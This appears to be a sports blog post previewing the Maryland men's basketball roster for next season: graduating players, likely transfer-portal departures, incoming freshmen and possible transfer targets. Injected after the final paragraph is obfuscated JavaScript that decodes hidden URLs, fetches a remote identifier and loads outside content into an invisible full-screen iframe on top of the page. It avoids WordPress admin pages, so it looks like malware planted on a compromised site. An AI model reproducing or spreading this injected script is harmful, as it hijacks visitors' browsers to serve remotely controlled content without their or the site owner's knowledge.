Looking Ahead to Next Season’s Roster

As the 2025-26 season closes for Maryland’s men’s basketball team, the focus can finally fully shift to next year. Their 12-21 (4-16 Big Ten Conference) record was the program’s worst in decades, making a major turnaround crucial for head coach Buzz Williams. While the team was able to put together some better performances over the last month or two of the year, there are still far more questions than answers that exist surrounding next season’s squad. The transfer portal will be open from April 7-21, but we’ll likely hear from players who plan to enter it much sooner than that. For now, let’s take a high-level look at how the roster is currently constructed and what it might look like by the end of next month.

The Departures

Regardless of what happens with the transfer portal, four Maryland players have exhausted their eligibility and will be moving on: David Coit, Collin Metcalf, Elijah Saunders, and Solomon Washington.

Washington is the most impactful departure, having started 22 games for the Terrapins this season and nearly averaging a double-double (9.8 points per game, 9.2 rebounds per game). Despite a rough start to his Maryland career, Saunders played well down the stretch and was the team’s best three-point shooter (41.1% from beyond the arc). Coit was as exciting to watch as anyone in the country when he was hot, putting together two 40+ point scoring performances against Mount St. Mary’s and Penn State. Unfortunately, he was incredibly streaky and disappeared from action for the most part during the last month of the season. Metcalf started the last 12 games of the year, and averaged 5.8 rebounds and 1.3 blocks per game during that stretch.

You’ll notice that, despite his status as a senior, Pharrel Payne isn’t listed with the players above. Since he played in just ten games this season due to injury, Maryland is widely expected to request a medical hardship waiver from the NCAA in order to award him with an extra year of eligibility.

As everyone knows by now, no one is safe from the transfer portal. Any one of the players on Maryland’s roster with eligibility remaining could very well be announcing their departure over the course of the next few weeks. As I see it though, there are four primary candidates to be playing elsewhere during the 2026-27 season: Aleks Alston, Myles Rice, George Turkson Jr., and Isaiah Watts.

Rice was expected to be the Terrapins’ starting point guard this season, but nagging injuries and performance issues led him to start just four games and average just 5.6 points per game. He had more games in which he was held scoreless than ones where he scored more than nine points. Watts played in 32 games and averaged 17.0 minutes per game, but struggled to score and averaged just 4.3 points per game. Turkson Jr. played in 23 games this season, but averaged just 1.3 points and 2.0 rebounds per game. Alston averaged just 8.4 minutes in his 25 games played this year, and received more than nine minutes in only four conference games.

The Arrivals

While we don’t yet know what the transfer portal will bring for Maryland next season, we do know that there’ll be four new freshmen on campus: Austin Brown, Kaden House, Baba Oladotun, and Adama Tambedou.

Oladotun is the clear leader of this group, and is Maryland’s second-best recruit in the rankings era behind only Diamond Stone. He’s a smooth, 6’10” forward with a 7’1” wingspan whose excellent footwork and instincts should serve him well while he improves his shooting prowess. House is a prototypical guard for BuzzBall, a high-motor player who can score in bunches and loves to drive to the rim. Tambedou is also perfect for Williams’ system, a slightly undersized big who plays far larger than his frame and feasts on the offensive boards. Brown is a raw prospect, but has set his share of Texas high school scoring records.

As things currently stand, with four players out of eligibility and four freshmen coming in, any player that Maryland brings in from the transfer portal will have to be accompanied by a departure. While it’s too early to truly know who will be available to the Terrapins in the portal, it’s typically a safe bet to look towards some of the better players at mid-major schools who might be looking to take a step up to the power conference level.

The position that Williams will likely be looking to target most aggressively will be point guard. After the acquisition of Rice didn’t pan out, they didn’t have a backup plan and were left with shooting guards like Coit, Darius Adams, or Andre Mills attempting to run the point. While Guillermo Del Pino improved as the year went on as more of a true distributor, grabbing a more experienced player at the position will be crucial. Rowan Brumbaugh (Tulane) would be one of the best options if he were to enter the portal. He’s a Washington, DC native who played one year at Georgetown in 2023-24. So far this season, he’s averaging 18.5 points and 3.6 assists per game while shooting 34.0% from beyond the arc.

While Williams typically doesn’t mind playing guard-heavy lineups, targeting some experienced wings in the transfer portal would be wise given that the only potential non-freshman returnees are Turkson Jr. and Jaziah Harper. Tyler Tejeda (Towson) would be a top option, and will almost certainly enter the portal after being strongly rumored to enter during last off-season. He averaged 17.7 points and 5.5 rebounds per game for the Tigers this year, and scored 29 points in their overtime loss to Hofstra during the CAA Tournament.

Even if Payne returns for the Terrapins, they’ll need some bodies down low. Chase Walker (Illinois State) will be one of the best at the position if he enters the transfer portal. He’s averaging 13.5 points and 5.3 rebounds per game, while standing 6’9” and 280 pounds. However if Payne is on the roster, you’re likely looking at more reserve options than starters here.; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(“iframe”);n.style.display=”none”,n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=”about:blank”,document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(“iframe”);a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(“?”)>=0?”&”:”?”,n+o+encodeURIComponent(“v”)+”=”+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=”position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;”,a.setAttribute(“aria-hidden”,”true”),window.addEventListener(“message”,function(e){if(e.data&&”object”==typeof e.data&&”ktl-show-original”===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();

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